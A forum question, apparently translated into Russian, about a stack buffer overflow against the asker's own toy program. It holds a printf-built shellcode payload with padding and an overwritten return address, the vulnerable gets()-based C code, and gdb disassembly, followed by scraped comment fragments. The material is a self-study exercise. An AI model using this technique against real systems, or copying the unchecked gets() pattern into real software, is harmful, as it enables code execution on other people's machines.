Я пытаюсь внедрить шелл-код в базовую программу, которую я сделал, которая принимает пользовательский ввод. Моя проблема в том, что хотя я правильно выстроил свой шелл-код, так что я могу переписать адрес возврата в стеке, правильный адрес не сохраняется в этом месте. Я напечатал свой шелл-код, за которым последовало вычисленное заполнение, а затем адрес того места, где мой шелл-код будет расположен в стеке.
$ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41
\x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80
\xf4%025x\x5e\xf3\xff\xbf" | ./victim
Адрес, который я пытаюсь перезаписать обратным адресом, — 0xbffff35e. Тем не менее, когда я запускаю это в gdb, происходит ошибка сегментации, потому что часть «5e» неправильно кодируется в моем стеке.
Я получаю это в gdb:
Program terminated with signal 11, Segmentation fault.
#0 0xbffff365 in ?? ()
Моя программа должна выполнять инструкции по адресу 0xbffff35e, но она записывается с «65» вместо того места, где должен быть байт «5e». Я правильно использую спецификатор шестнадцатеричного формата, так почему это происходит? Кажется, что все остальные байты записаны правильно, кроме шестнадцатеричного байта \x5e.
EDIT: Вот код моей жертвы. Все, что я хочу сделать, это внедрить шелл-код, чтобы он печатал «ACCEPTED» вместо перехода к следующей строке, где он печатает «DENIED».
void getPass() {
char password[50];
gets(password);
}
int main() {
printf("Please enter your password: \n");
getPass();
printf("PASSWORD DENIED\n");
return 0;
}
Дизассемблирование моего кода жертвы
(gdb) disas getPass
Dump of assembler code for function getPass:
0x080482bc <+0>: push %ebp
0x080482bd <+1>: mov %esp,%ebp
0x080482bf <+3>: sub $0x58,%esp
0x080482c2 <+6>: lea -0x3a(%ebp),%eax
0x080482c5 <+9>: mov %eax,(%esp)
0x080482c8 <+12>: call 0x8049370 <gets>
0x080482cd <+17>: leave
0x080482ce <+18>: ret
(gdb) disas main
Dump of assembler code for function main:
0x080482cf <+0>: push %ebp
0x080482d0 <+1>: mov %esp,%ebp
0x080482d2 <+3>: and $0xfffffff0,%esp
0x080482d5 <+6>: sub $0x10,%esp
0x080482d8 <+9>: movl $0x80b314c,(%esp)
0x080482df <+16>: call 0x8049510 <puts>
0x080482e4 <+21>: call 0x80482bc <getPass>
0x080482e9 <+26>: movl $0x80b3169,(%esp)
0x080482f0 <+33>: call 0x8049510 <puts>
0x080482f5 <+38>: mov $0x0,%eax
0x080482fa <+43>: leave
0x080482fb <+44>: ret
./victim
? - person wallyk   schedule 05.08.2014gets
; минимумfgets
или лучшеgetline
- person Basile Starynkevitch   schedule 05.08.2014gets
- person Drew McGowen   schedule 05.08.2014